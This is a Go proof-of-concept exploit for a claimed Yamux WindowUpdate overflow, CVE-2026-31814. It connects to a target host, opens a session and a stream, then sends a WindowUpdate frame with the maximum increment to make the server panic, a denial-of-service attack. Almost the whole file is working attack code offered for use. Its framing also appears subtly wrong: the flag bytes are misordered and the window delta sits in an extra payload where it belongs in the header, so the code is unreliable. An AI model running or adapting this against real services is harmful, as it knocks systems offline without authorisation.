// CVE-2026-31814 PoC - Yamux WindowUpdate Arithmetic Overflow
// This PoC demonstrates sending a malicious WindowUpdate frame to trigger overflow
package main
import (
"encoding/binary"
"fmt"
"net"
"time"
)
const (
// Yamux message types
msgWindowUpdate = 0x02
// Flags
flagSYN = 0x01
flagACK = 0x02
flagFIN = 0x04
flagRST = 0x08
)
// Create a malicious WindowUpdate frame with oversized window increment
func createMaliciousWindowUpdate(streamID uint32, windowSize uint32) []byte {
// Frame header: version(1) + type(1) + flags(2) + streamID(4) + length(4)
frame := make([]byte, 12)
frame[0] = 0x01 // Version
frame[1] = msgWindowUpdate // Type: WindowUpdate
binary.BigEndian.PutUint16(frame[2:4], flagACK) // Flags
binary.BigEndian.PutUint32(frame[4:8], streamID) // Stream ID
binary.BigEndian.PutUint32(frame[8:12], 4) // Payload length
// Malicious payload: oversized window increment
payload := make([]byte, 4)
binary.BigEndian.PutUint32(payload, windowSize) // Trigger overflow
return append(frame, payload...)
}
func exploit(target string, port int) error {
addr := fmt.Sprintf("%s:%d", target, port)
conn, err := net.DialTimeout("tcp", addr, 10*time.Second)
if err != nil {
return fmt.Errorf("connection failed: %v", err)
}
defer conn.Close()
// Step 1: Establish yamux session with SYN
synFrame := []byte{0x01, 0x00, flagSYN, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04}
if _, err := conn.Write(synFrame); err != nil {
return fmt.Errorf("SYN send failed: %v", err)
}
// Step 2: Wait for ACK
buf := make([]byte, 1024)
conn.SetReadDeadline(time.Now().Add(5 * time.Second))
conn.Read(buf)
// Step 3: Create stream
synWriteFrame := []byte{0x01, 0x00, flagSYN, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00}
conn.Write(synWriteFrame)
conn.Read(buf)
// Step 4: Send malicious WindowUpdate to trigger arithmetic overflow
// Use maximum uint32 value to maximize overflow probability
maliciousFrame := createMaliciousWindowUpdate(1, 0xFFFFFFFF)
fmt.Printf("Sending malicious WindowUpdate frame...\n")
if _, err := conn.Write(maliciousFrame); err != nil {
return fmt.Errorf("malicious frame send failed: %v", err)
}
fmt.Printf("Malicious frame sent. Target may panic.\n")
return nil
}
func main() {
target := "target-host"
port := 8080
fmt.Printf("CVE-2026-31814 PoC - Yamux Arithmetic Overflow\n")
if err := exploit(target, port); err != nil {
fmt.Printf("Error: %v\n", err)
}
}